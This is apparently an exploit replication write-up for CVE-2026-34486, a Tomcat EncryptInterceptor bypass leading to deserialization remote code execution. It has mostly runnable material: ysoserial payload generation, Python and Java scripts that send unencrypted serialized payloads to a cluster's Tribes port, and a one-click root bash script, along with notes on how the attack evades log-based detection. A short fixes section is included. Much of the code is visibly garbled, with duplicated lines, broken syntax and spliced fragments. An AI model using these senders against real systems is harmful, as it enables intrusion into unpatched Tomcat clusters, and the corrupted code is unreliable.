Share
## https://sploitus.com/exploit?id=1285FF13-ABC8-5DC1-84A6-8C3ED7BD1358
# CVE-2026-34486 Apache Tomcat EncryptInterceptor Bypass Vulnerability Replication
## I. Vulnerability Overview
| Attributes | Details
|---|---|
| CVE Number | CVE-2026-34486 |
| Severity | Important / High (CVSS 3.1: 7.5)|
| Vulnerability Type | CWE-311 Missing Encryption of Sensitive Data / CWE-807 Untrustworthy Input Constraints |
| Affected Versions | Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 |
| Fixed Versions | Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21 |
| Root Cause | `super.messageReceived(msg)` in `EncryptInterceptor.messageReceived()` was moved outside of try-catch block |
### Root cause of vulnerability
When fixing CVE-2026-29146 (Padding Oracle), the developer refactored the `EncryptInterceptor.messageReceived()` method to move `super.messageReceived(msg)` from the inside of the `try` block **inside** to the outside of the **outside**. to **external** from inside the `try` block **inside**:
**Before fixing (safe):**
``java
public void messageReceived(ChannelMessage msg) {
try {
byte[] data = msg.getMessage().getBytes();
data = encryptionManager.decrypt(data);
XByteBuffer xbb = msg.getMessage();
xbb.clear(); xbb.append(data)
xbb.append(data, 0, data.length); super.messageReceived(messageReceived); super.messageReceived(messageReceived)
super.messageReceived(msg); // โ in try, pass only if decryption was successful
} catch (GeneralSecurityException gse) {
log.error(...) ;)
// Exception caught, message discarded.
}
}
``
**Vulnerability code (dangerous):**
```java
public void messageReceived(ChannelMessage msg) {
try {
byte[] data = msg.getMessage().getBytes();
data = encryptionManager.decrypt(data);
XByteBuffer xbb = msg.getMessage();
xbb.clear(); xbb.append(data)
xbb.append(data, 0, data.length);
} catch (GeneralSecurityException gse) {
log.error(...) ;
// The exception is caught, but the execution flow continues!
}
super.messageReceived(msg); // โ Outside of try, this is executed regardless of whether decryption succeeds!
}
``
**Bytecode validation** (from `EncryptInterceptor.class` in Tomcat 9.0.116):
```
Exception table.
from to target type
0 39 42 Class java/security/GeneralSecurityException
// Offset 60: super.messageReceived(msg) -- Outside try range (0-39).
60: aload_0
61: aload_1
62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived
``
---
## II. Replicating the environment
| Components | Versions/Configurations |
|---|---|
| Operating System | Ubuntu 22.04 (Sandbox environment) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (exploit version) |
| Gadget Libraries | Commons Collections 3.1 |
| Attack Tools | ysoserial v0.0.6 + custom Python/Java PoC |
### Environment topology
``
Running two instances of Tomcat on the same machine.
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
The two nodes discover each other via multicast (228.0.0.4:45564) and encrypt the communication via EncryptInterceptor.
``
---
## III. Detailed Replication Steps
### Step 1: Download and install the vulnerable version of Tomcat
```bash
## Download Tomcat 9.0.116
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
# Extract two copies
tar -xzf apache-tomcat-9.0.116.tar.gz
cp -r apache-tomcat-9.0.116 tomcat-node1
cp -r apache-tomcat-9.0.116 tomcat-node2
``
### Step 2: Install the Gadget library
```bash
# Download Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
# Put it in the Tomcat lib directory
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
``
### Step 3: Configure the cluster + EncryptInterceptor
Edit `tomcat-node1/conf/server.xml` and add in ``:
``xml
``
> Note: `encryptionKey` must be in hexadecimal string format (e.g., ASCII hexadecimal for `546869734973415365637265744B6579` = "ThisIsASecretKey"), and must not be a plaintext string.
### Step 4: Enable Session Replication
Add in `webapps/ROOT/WEB-INF/web.xml`:
``xml
```
### Step 5: Start the Tomcat cluster
```bash
## Start Node1
cd tomcat-node1 && bin/catalina.sh start
# Start Node2
cd tomcat-node2 && bin/catalina.sh start
# Verify that the cluster is up
# Logs should appear: "Replication member added: ..."
# Port 4000/4001 should be listening.
``
**Actual startup log confirmation:**
```
WARNING [main] EncryptInterceptor.createEncryptionManager
The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
It is recommended to switch to using AES/GCM/NoPadding.
INFO [main] ReceiverBase.bind
Receiver Server Socket bound to:[/172.24.0.7:4000]
INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]]
``
### Step 6: Generate a Deserialized Payload
```bash.
# Generate the CommonsCollections6 gadget chain using ysoserial.
# (CC6 has better compatibility with higher versions of Java)
java --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED" \
> payload_touch.bin
# Verify that the payload starts with a Java serialized magic byte
python3 -c "
with open('payload_touch.bin', 'rb') as f:
print(f'Magic: {f.read(2).hex()}') # Should output: aced
"
``
### Step 7: Constructing and sending Tribes protocol messages
Tribes messages require a specific XByteBuffer frame encapsulation format:
```
[START_DATA "FLT2002" (7B)] [DATA LENGTH (4B BE)] [ChannelData load] [END_DATA "TLF003" (7B)]
``
Where ChannelData Load Structure:
[options (4B)] [END_DATA "TLF003" (7B)
[options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)]
[memberDataLen (4B)] [MemberImpl data] [messageLen (4B)] [message body]
``
**Critical**: The message body is placed directly into the unencrypted Java serialized payload, which is the core of the exploit - the EncryptInterceptor attempts to decrypt it, and when it fails, still passes the original bytes to the subsequent chain.
#### Approach 1: Python PoC script (`exploit.py`)
``python.
/usr/bin/env /usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
Rationale: super.messageReceived(msg) in EncryptInterceptor.messageReceived() is moved outside of the
in EncryptInterceptor.messageReceived(), the super.messageReceived(msg) has been moved outside of the try-catch block, which results in the raw bytes being passed to the subsequent processing chain even after the decryption fails, and then ultimately entering the unfiltered
ObjectInputStream.readObject(), which triggers a Java deserialization RCE.
Used in an authorized secure research environment, strictly prohibited for illegal use.
"""
import socket
import struct
import sys
import sys
import time
# ==================== Tribes protocol constants ====================
START_DATA = b "FLT2002" # XByteBuffer start of frame marker (7 bytes)
END_DATA = b "TLF003" # XByteBuffer end-of-frame marker (7 bytes)
TRIBES_MBR_BEGIN = b "TRIBES-B\x01\x00" # MemberImpl start marker (10 bytes)
TRIBES_MBR_END = b "TRIBES-E\x01\x00" # MemberImpl end marker (10 bytes)
def build_member_data(host_bytes, port).
"""Build MemberImpl serialization data""""
inner = b""
inner += struct.pack(">q", 0) # memberAliveTime (8B)
inner += struct.pack(">i", port) # port (4B)
inner += struct.pack(">i", 0) # securePort (4B)
inner += struct.pack(">i", 0) # udpPort (4B)
inner += struct.pack(">b", len(host_bytes)) # hostLen (1B)
inner += host_bytes # host
inner += struct.pack(">i", 0) # commandLen (4B)
inner += struct.pack(">i", 0) # domainLen (4B)
inner += os.urandom(16) # uniqueId (16B)
inner += struct.pack(">i", 0) # payloadLen (4B)
return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END
def build_channel_data(message_body, host_bytes, port):
"""Build ChannelData load""""
unique_id = os.urandom(16)
member_data = build_member_data(host_bytes, port)
channel_data = b""
channel_data += struct.pack(">i", 0) # options (no ACK)
channel_data += struct.pack(">q", int(time.time() * 1000)) # timestamp
channel_data += struct.pack(">i", len(unique_id)) # uniqueIdLen
channel_data += unique_id # uniqueId
channel_data += struct.pack(">i", len(member_data)) # memberDataLen
channel_data += member_data # memberData
channel_data += struct.pack(">i", len(message_body)) # messageLen
channel_data += message_body # message body
return channel_data
def build_tribes_packet(channel_data).
"""Encapsulate XByteBuffer frames""""
return START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
def send_exploit(target_ip, target_port, payload_file, receiver_port=4000).
print(f"[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass")
print(f"[*] Target: {target_ip}:{target_port}")
print(f"[*] Payload: {payload_file}")
# Read the payload
with open(payload_file, 'rb') as f.
raw_payload = f.read()
print(f"[*] Payload size: {len(raw_payload)} bytes")
print(f"[*] Payload magic bytes: {raw_payload[:4].hex()}")
if raw_payload[:2] ! = b'\xac\xed'.
print("[!] Warning: payload does not begin with Java Serialized Magic Byte (ACED)")
# Parse the target IP as a byte array
host_bytes = socket.inet_aton(target_ip)
# Construct Tribes messages
# Vulnerability core: EncryptInterceptor fails to decrypt but still passes raw bytes to subsequent processing chain
# So we send an unencrypted Java serialized payload directly as the message body
channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
packet = build_tribes_packet(channel_data)
print(f"[*] Full packet size: {len(packet)} bytes")
print(f"[*] Connect to {target_ip}:{target_port}...")
try: sock = socket.
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
print(f"[*] Sending {len(packet)} byte packet...")
sock.sendall(packet)
print("[+] Packet sent successfully!")
print("[*] Waiting for destination to process...")
# Wait for a possible response or ACK
try: response = sock.recv(sock)
response = sock.recv(4096)
if response.
print(f"[*] Response received ({len(response)} bytes): {response[:50].hex()}")
except socket.timeout: [*] response received ({len(response)} bytes: {response[:50].hex()}")
pass
sock.close()
print("[+] Connection closed")
print()
print("[*] Vulnerability trigger flag:")
print(" 1. Victim log appears: SEVERE: Failed to decrypt message (encryptInterceptor.decrypt.failed)")
print(" 2. Deserialization followed -> RCE")
print("" 3. No deserialization exception logged (silent execution)")
except ConnectionRefusedError: print(f"[-] ConnectionRefusedError:"")
print(f"[-] Connection refused, check if port {target_port} is open")
sys.exit(1)
except Exception as e: print(f"[-] Error
print(f"[-] Error: {e}")
sys.exit(1)
if __name__ == '__main__': if len(sys.argv) [receiver_port]")
if len(sys.argv) [receiver_port]")
print(f "Example: {sys.argv[0]} 127.0.0.1 4000 payload.bin")
print(f" {sys.argv[0]} 127.0.0.1 4000 payload.bin 4000")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
payload_file = sys.argv[3]
receiver_port = int(sys.argv[4]) if len(sys.argv) > 4 else target_port
if not os.path.exists(payload_file):: print(f"[-])
print(f"[-] Payload file does not exist: {payload_file}")
sys.exit(1)
send_exploit(target_ip, target_port, payload_file, receiver_port)
``
**Usage:**
```bash
python3 exploit.py 172.24.0.7 4000 payload_touch.bin
```
#### Way 2: Java PoC script (`ExploitSender.java`)
`` java
import org.apache.catalina.tribes.Channel;
import org.apache.catalina.tribes.ChannelListener; import org.apache.catalina.tribes.
import org.apache.catalina.tribes.ChannelListener; import org.apache.catalina.tribes.
import org.apache.catalina.tribes.group.GroupChannel; import org.apache.catalina.tribes.
import org.apache.catalina.tribes.group.interceptors.EncryptInterceptor; import org.apache.catalina.tribes.group.
import org.apache.catalina.tribes.transport.Constants; import org.apache.catalina.tribes.transport.
import java.io.
/**
* CVE-2026-34486 PoC: Send unencrypted serialized payload via Tribes protocol.
* Vulnerability core: super.messageReceived(msg) in EncryptInterceptor.messageReceived() outside of try-catch.
* When decryption fails, the original unencrypted bytes are still passed to the subsequent processing chain.
*/
public class ExploitSender {
public static void main(String[] args) throws Exception {
if (args.length ");
System.exit(1);
}
String targetHost = args[0];
int targetPort = Integer.parseInt(args[1]); String payloadFile = args.length ?
String payloadFile = args.length > 2 ? args[2] : null;
System.out.println("[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass");
System.out.println("[*] target: " + targetHost + ":" + targetPort);
// Read the payload
java.io.File f = new java.io.File(payloadFile);
java.io.FileInputStream fis = new java.io.FileInputStream(f);
byte[] payload = new byte[(int) f.length()];
fis.read(payload);
fis.close();
System.out.println("[*] Payload size: " + payload.length + " bytes");
System.out.println("[*] Payload magic bytes: " + String.format("%02x%02x", payload[0], payload[1]));
// Send the message in Tribes format directly over TCP
// Construct the ChannelData packet
java.net.Socket sock = new java.net.Socket(targetHost, targetPort);
java.io.OutputStream out = sock.getOutputStream();
// Send using Tribes internal format
// XByteBuffer frame format: [START_DATA][length][data][END_DATA]
byte[] START_DATA = new byte[]{0x46, 0x4C, 0x54, 0x32, 0x30, 0x30, 0x32}; // "FLT2002"
byte[] END_DATA = new byte[]{0x54, 0x4C, 0x46, 0x32, 0x30, 0x30, 0x33}; // "TLF003"
// Construct the ChannelData load
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
java.io.DataOutputStream dos = new java.io.DataOutputStream(baos);
// options (4B)
dos.writeInt(0); // options (4B)
dos.writeInt(0); // timestamp (8B)
dos.writeLong(System.currentTimeMillis()); // uniqueId length + uniqueId length + uniqueId length
// uniqueId length + uniqueId (4B + 16B)
byte[] uniqueId = new byte[16]; new java.util.
uniqueId = new byte[16]; new java.util.Random().nextBytes(uniqueId);
dos.writeInt(uniqueId.length);
dos.write(uniqueId);
// member data - construct the minimal MemberImpl
java.io.ByteArrayOutputStream memberBaos = new java.io.ByteArrayOutputStream();
java.io.DataOutputStream memberDos = new java.io.DataOutputStream(memberBaos);
byte[] TRIBES_MBR_BEGIN = "TRIBES-B".getBytes();
byte[] TRIBES_MBR_END = "TRIBES-E".getBytes();
// MemberImpl inner data
java.io.ByteArrayOutputStream innerBaos = new java.io.ByteArrayOutputStream();
DataOutputStream innerDos = new java.io.
innerDos.writeLong(0); // memberAliveTime
innerDos.writeInt(targetPort); // port
innerDos.writeInt(0); // securePort
innerDos.writeInt(0); // udpPort
byte[] hostBytes = java.net.InetAddress.getByName(targetHost).getAddress(); // port innerDos.writeInt(0); // securePort; // securePort innerDos.writeInt(0); // udpPort
innerDos.writeByte(hostBytes.length); // hostLen
innerDos.write(hostBytes); // host
innerDos.writeInt(0); // commandLen
innerDos.writeInt(0); // domainLen
innerDos.write(new byte[16]); // uniqueId (16B)
innerDos.writeInt(0); // payloadLen
innerDos.flush(); // uniqueId (16B); // payloadLen
byte[] innerData = innerBaos.toByteArray(); // innerDos.writeInt(0); // payloadLen innerDos.flush(); // payloadLen
// Full member data
memberDos.write(TRIBES_MBR_BEGIN); memberDos.writeByteData = innerBaos.toByteArray(); // full member data
memberDos.write(TRIBES_MBR_BEGIN); memberDos.writeByte(0x01); // Full member data.
memberDos.writeInt(innerData.length); memberDos.write(innerData.length); memberDos.write(innerData.length)
memberDos.flush();
byte[] memberData = memberBaos.toByteArray();
// Write member data length + data
dos.writeInt(memberData.length); dos.write(memberData.length); // Write member data length + data
dos.writeInt(memberData.length); dos.write(memberData); // Write member data length + data
// Write message body length + payload (unencrypted serialized data)
dos.writeInt(payload.length); dos.write(payload); // Write message body length + payload (unencrypted serialized data)
dos.write(payload); // Write message body length + payload (unencrypted serialized data)
dos.flush(); // Write message body length + payload (unencrypted serialized data)
byte[] channelData = baos.toByteArray();
// Construct the full frame
java.io.ByteArrayOutputStream frameBaos = new java.io.ByteArrayOutputStream();
frameBaos.write(START_DATA); // length as 4 bytes big-endian; frameBaos.
// length as 4 bytes big-endian
frameBaos.write(new byte[]{
(byte) ((channelData.length >> 24) & 0xFF), (byte) ((channelData.length >> 24) & 0xFF), // length as 4 bytes big-endian
(byte) ((channelData.length >> 16) & 0xFF), (byte) ((channelData.length >> 16) & 0xFF), (byte) ((channelData.length >> 16) & 0xFF)
(byte) ((channelData.length >> 8) & 0xFF), (byte) (channelData.length >> 8) & 0xFF), (byte) (channelData.length >> 8) & 0xFF), (byte) (channelData.length >> 8) & 0xFF)
(byte) (channelData.length & 0xFF)
});
frameBaos.write(channelData);
frameBaos.write(END_DATA); frameBaos.write(channelData); frameBaos.
byte[] packet = frameBaos.toByteArray();
System.out.println("[*] Full packet size: " + packet.length + " bytes");
System.out.println("[*] Sending packet..."); System.out.println("[*] Sending packet...") ;
System.out.println("[*] Send packet...") ; out.write(packet);
out.flush();
System.out.println("[+] packet sent successfully!") out.
// Wait for a response
Thread.sleep(2000);
sock.close(); System.out.println("[+] Connection closed"); // wait for response
System.out.println("[+] Connection closed");
}
}
``
**Compile and run:**
```bash
# Compile (need catalina-tribes.jar in classpath)
javac -cp tomcat-node1/lib/catalina-tribes.jar ExploitSender.java
# Run
java -cp . :tomcat-node1/lib/catalina-tribes.jar ExploitSender 172.24.0.7 4000 payload_touch.bin
``
### Step 8: Authentication vulnerability trigger
**Victim logs (decryption failed + message still being delivered):**
``
15-Apr-2026 03:46:34.056 SEVERE [Tribes-Task-Receiver[Catalina-Channel]-4]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded block sizes.
IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher
at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890)
at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:729)
...
at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:134)
``
**RCE Successfully validated (flag file created):**
```
$ ls -la /tmp/CVE-2026-34486-PWNED
-rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED
``
---
## IV. Complete diagram of the exploit chain
``
Attacker
โ
โ TCP connection to 172.24.0.7:4000
โ Send XByteBuffer frame (FLT2002 + ChannelData + TLF003)
โ ChannelData.message = unencrypted Java serialized payload (CC6 gadget)
โ ChannelData.message = unencrypted Java serialized payload
โผ
NioReceiver
โ Unframe: recognize FLT2002/TLF003, extract ChannelData
โ ChannelData.getDataFromPackage() parses message
Parsing a Message โผ
ChannelCoordinator.messageReceived()
โ Pass up the interceptor chain
โผ
TcpFailureDetector.messageReceived()
โผ
EncryptInterceptor.messageReceived() โ Vulnerability point
โ
โ try {
โ data = msg.getMessage().getBytes(); // Get raw bytes of payload
โ data = encryptionManager.decrypt(data); // โ Decryption failed!
โ // โ throw IllegalBlockSizeException
โ } catch (GeneralSecurityException gse) {
โ log.error("Failed to decrypt message"); // log only
โ // Exception swallowed, execution flow continues
โ }
โ
โ super.messageReceived(msg); โ ๐ Outside of try-catch, execution still occurs!
โ Raw attacker bytes are still in msg!
โผ
MessageDispatchInterceptor.messageReceived()
โผ
GroupChannel.messageReceived()
โ Deserialization: ObjectInputStream.readObject() โ No class filter!
โผ
CommonsCollections6 Gadget Chain Execution
โ Runtime.exec("touch /tmp/CVE-2026-34486-PWNED")
โผ
RCE Success โ
โผ RCE Successful โ
---
## V. Summary of key evidence
## 5.1 Vulnerable code bytecode evidence
Decompiled from `EncryptInterceptor.class` in Tomcat 9.0.116:
| Offset | Instruction | Meaning |
|------|------|------|
| 0-38 | `try` block contents | `decrypt()` + message body replacement |
| 39 | `goto 60` | try block normal end jump |
| 42-58 | `catch` block | catch `GeneralSecurityException`, only log.error |
| **60** | **`aload_0, aload_1`** | **load this and msg** |
| **62** | **`invokespecial #136`** | **`super.messageReceived(msg)`** |
Exception table: `from=0, to=39, target=42` - Offset 60 is explicitly outside the try range.
### 5.2 Runtime Evidence
| Evidence | Contents |
|------|------|
| Decryption failure log | `SEVERE: Failed to decrypt message` + `IllegalBlockSizeException` |
| RCE flag file | `/tmp/CVE-2026-34486-PWNED` created on `Apr 15 03:46` |
| | Deserialization Exception Log | **None** - payload silent execution |
### 5.3 Attacking Silence
There is **only** one SEVERE record for `EncryptInterceptor.decrypt.failed` in the logs, **without any deserialization exceptions**. This means:
- A defender who focuses only on deserialization exceptions will not find the attack
- The only clue is "Failed to decrypt message", which in an EncryptInterceptor-enabled environment could be mistaken for a network problem.
---
## VI. Fixes
### 6.1 Official fixes
Upgrade to the fixed version: Tomcat **9.0.117** / **10.1.54** / **11.0.21**.
Fix: Move `super.messageReceived(msg)` back inside the `try` block to ensure that only successfully decrypted messages are delivered.
### 6.2 Temporary mitigations
If immediate escalation is not possible:
1. **Network level**: Use a firewall to restrict Tribes communication ports (default TCP 4000) to only allow cluster node IP access.
2. **Remove EncryptInterceptor**: if cluster encryption is not needed, remove the interceptor (but this loses encryption protection)
3. **Add serialization filter**: add `ObjectInputFilter` at JVM level to limit deserializable classes
---.
## VII. Replication environment cleanup
```bash
## Stop Tomcat
tomcat-node1/bin/shutdown.sh
tomcat-node2/bin/shutdown.sh
# Clean up the flag file
rm -f /tmp/CVE-2026-34486-PWNED
# Clean up the entire environment
rm -rf tomcat-lab/
``
---
## VIII. Summarizing
CVE-2026-34486 is a high-risk regression vulnerability introduced by **one line of code displacement**. It perfectly illustrates the rule that "security fixes can themselves introduce new security flaws":
1. **Fix Padding Oracle (CVE-2026-29146)** โ Refactor encryption manager
2. ** code displacement during refactoring** โ `super.messageReceived(msg)` moved out of try block
3. **Crypto interceptor completely failed** โ unencrypted bytes were passed directly to the unfiltered deserialization entry
4. **Result**: clusters with cryptographic protection intentionally enabled are the most vulnerable targets for RCE attacks
This replication completely verifies the entire link from sending an unencrypted payload to the success of the RCE, proving the actual exploitability of the vulnerability.
---
## IX. One-click Replication Scripts
> The following script provides a complete one-click recovery of CVE-2026-34486 on a brand new Ubuntu/Debian machine. The script automatically detects and installs dependencies (JDK, Python3), downloads the vulnerable version of Tomcat, configures the cluster + EncryptInterceptor, generates the payload, sends the attack, and finally outputs the validation results.
>
> **How to use it**: Save as `cve-2026-34486-repro.sh`, execute `chmod +x cve-2026-34486-repro.sh && sudo . /cve-2026-34486-repro.sh`
``bash
#! /usr/bin/env bash
#===============================================================================
# CVE-2026-34486 Apache Tomcat EncryptInterceptor Bypass Vulnerability One-Click Replication Scripts
# CVE-2026-34486 Apache Tomcat EncryptInterceptor bypass vulnerability
# CVE-2026-386 Apache Tomcat EncryptInterceptor Bypass Vulnerability: super.messageReceived(msg) in EncryptInterceptor.messageReceived()
# is moved outside of the try-catch block, and when decryption fails, the raw bytes are still passed to the subsequent processing chain, # and end up in the unfiltered ObjectInterceptor.messageReceived().
# Eventually it enters the unfiltered ObjectInputStream.readObject(), which triggers the Java deserialization RCE.
# The following is an example of a Java deserialization RCE.
# Affected Versions: Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20
# # This script is intended for authorized use only.
# # This script is intended for use in an authorized secure research environment only, and is strictly prohibited for illegal use.
# ===============================================================================
set -e
# ==================== configuration area ====================
TOMCAT_VERSION="9.0.116"
TOMCAT_MAJOR="9"
WORKDIR="/opt/cve-2026-34486-lab"
NODE1_HTTP_PORT=18080
NODE2_HTTP_PORT=28080
NODE1_SHUTDOWN_PORT=18005
NODE2_SHUTDOWN_PORT=18005
NODE1_TRIBES_PORT=4000
NODE2_TRIBES_PORT=4001
ENCRYPTION_KEY_HEX="546869734973415365637265744B6579" # Hexadecimal of "ThisIsASecretKey"
RCE_MARKER="/tmp/CVE-2026-34486-PWNED"
YSOSERIAL_URL="https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
CC_JAR_URL="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar"
# ==================== Color output ====================
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
info() { echo -e "${CYAN}[*]${NC} $1"; }
ok() { echo -e "${GREEN}[+]${NC} $1"; }
warn() { echo -e "${YELLOW}[!] ${NC} $1"; }
fail() { echo -e "${RED}[-]${NC} $1"; exit 1; }
# ==================== 1. Detect and install dependencies ====================
info "Step 1/8: Detecting and installing dependencies..."
# Detect root
if [ "$EUID" -ne 0 ]; then
fail "Please run this script with root privileges (sudo . /cve-2026-34486-repro.sh)"
fi
# Install the base tools
apt-get update -qq
apt-get install -y -qq wget curl python3 python3-pip openjdk-11-jdk >/dev/null 2>&1
# Verify Java
export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which javac))))
java -version 2>&1 | head -1
ok "Java is ready: $JAVA_HOME"
# Verify Python3
python3 --version
ok "Python3 is ready."
# ==================== 2. Creating a working directory ====================
info "Step 2/8: Creating a working directory..."
rm-rf "$WORKDIR"
mkdir -p "$WORKDIR"
cd "$WORKDIR"
# ==================== 3. Download the vulnerable version of Tomcat ====================
info "Step 3/8: Downloading Apache Tomcat ${TOMCAT_VERSION} (Vulnerable Version)..."
TOMCAT_URL="https://archive.apache.org/dist/tomcat/tomcat-${TOMCAT_MAJOR}/v${TOMCAT_VERSION}/bin/apache-tomcat-${TOMCAT_VERSION}. tar.gz"
wget -q "$TOMCAT_URL" -O tomcat.tar.gz || fail "Downloading Tomcat failed, please check your internet connection"
ok "Tomcat ${TOMCAT_VERSION} download is complete."
tar -xzf tomcat.tar.gz
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node1
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node2
ok "Tomcat decompression complete (both nodes)"
# ==================== 4. Install the Gadget library ====================
info "Step 4/8: Downloading Commons Collections 3.1..."
wget -q "$CC_JAR_URL" -O commons-collections-3.1.jar || fail "Downloading Commons Collections failed"
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
ok "Commons Collections 3.1 is installed on both nodes"
# ==================== 5. Download ysoserial ====================
info "Step 5/8: Downloading ysoserial..."
wget -q "$YSOSERIAL_URL" -O ysoserial.jar || fail "Downloading ysoserial failed"
ok "Download of ysoserial completed."
# ==================== 6. Configuring the Tomcat Cluster ====================
info "Step 6/8: Configuring a Tomcat Cluster + EncryptInterceptor..."
# --- Node1 server.xml --- cat > /tmp/node2.xml
cat > /tmp/node1-server.xml.patch.py Insert cluster configuration after the tag
cluster_xml = '''
'''
# Replace the commented out Cluster placeholders
xml = re.sub(
r'\s*-->',
cluster_xml.
flags=re.DOTALL
flags=re.DOTALL
)
with open(sys.argv[1], 'w') as f.
f.write(xml)
PYEOF
python3 /tmp/node1-server.xml.patch.py \
"$WORKDIR/tomcat-node1/conf/server.xml" \
"$NODE1_HTTP_PORT" "$NODE1_SHUTDOWN_PORT" \
"$ENCRYPTION_KEY_HEX" "$NODE1_TRIBES_PORT"
python3 /tmp/node1-server.xml.patch.py \
"$WORKDIR/tomcat-node2/conf/server.xml" \
"$NODE2_HTTP_PORT" "$NODE2_SHUTDOWN_PORT" \
"$ENCRYPTION_KEY_HEX" "$NODE2_TRIBES_PORT"
ok "server.xml configuration complete (Node1: port ${NODE1_TRIBES_PORT}, Node2: port ${NODE2_TRIBES_PORT})"
# Create web.xml (enable session replication)
for node in tomcat-node1 tomcat-node2; do
mkdir -p "$node/webapps/ROOT/WEB-INF"
cat > "$node/webapps/ROOT/WEB-INF/web.xml"
XMLEOF
done
ok "web.xml configuration complete (distributable)"
# ==================== 7. Starting the cluster and attacking ====================
info "Step 7/8: Starting the Tomcat cluster..."
chmod +x tomcat-node1/bin/catalina.sh tomcat-node2/bin/catalina.sh
export JAVA_HOME
cd "$WORKDIR/tomcat-node1" && bin/catalina.sh start
cd "$WORKDIR/tomcat-node2" && bin/catalina.sh start
cd "$WORKDIR"
info "Waiting for cluster to start (15 seconds)..."
sleep 15
# Check ports
if ! ss -tlnp | grep -q ":${NODE1_TRIBES_PORT} "; then
fail "Node1 Tribes port ${NODE1_TRIBES_PORT} is not listening, cluster startup may fail"
ok "Cluster is up, cluster startup may fail.
ok "Cluster is up, Tribes port ${NODE1_TRIBES_PORT} is listening."
# Get the local IP
LOCAL_IP=$(hostname -I | awk '{print $1}')
info "Local IP: ${LOCAL_IP}"
# Generate payload
info "Generating deserialized payload (CommonsCollections6)..."
# Detect the Java major version and decide if --add-opens is required
JAVA_MAJOR=$($JAVA_HOME/bin/java -version 2>&1 | head -1 | grep -oP '"\K\d+' | head -1)
ADD_OPENS=""
if [ "$JAVA_MAJOR" -ge 16 ]; then
ADD_OPENS="--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang. reflect=ALL-UNNAMED"
fi
$JAVA_HOME/bin/java $ADD_OPENS -jar "$WORKDIR/ysoserial.jar" \
CommonsCollections6 "touch ${RCE_MARKER}" \
> "$WORKDIR/payload_touch.bin" 2>/dev/null
if [ ! -s "$WORKDIR/payload_touch.bin" ]; then
fail "Payload generation failed"
ok "Payload generation succeeded.
ok "Payload generation success ($(wc -c "$WORKDIR/exploit.py" q", 0))
inner += struct.pack(">i", port)
inner += struct.pack(">i", 0)
inner += struct.pack(">i", 0)
inner += struct.pack(">b", len(host_bytes))
inner += host_bytes
inner += struct.pack(">i", 0)
inner += struct.pack(">i", 0)
inner += os.urandom(16)
inner += struct.pack(">i", 0)
return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END
def build_channel_data(message_body, host_bytes, port):
unique_id = os.urandom(16)
member_data = build_member_data(host_bytes, port)
cd = b""
cd += struct.pack(">i", 0)
cd += struct.pack(">q", int(time.time() * 1000))
cd += struct.pack(">i", len(unique_id))
cd += unique_id
cd += struct.pack(">i", len(member_data))
cd += member_data
cd += struct.pack(">i", len(message_body))
cd += message_body
return cd
def send_exploit(target_ip, target_port, payload_file, receiver_port): with open(payload_file, 'rb').
with open(payload_file, 'rb') as f.
raw_payload = f.read()
host_bytes = socket.inet_aton(target_ip)
channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
packet = START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
sock.sendall(packet)
sock.sendall(packet)
sock.recv(4096)
except socket.timeout: sock.connect((target_ip, target_port))
sock.sendall(packet) try: sock.recv(4096) except
sock.close()
if __name__ == '__main__'.
send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4]))
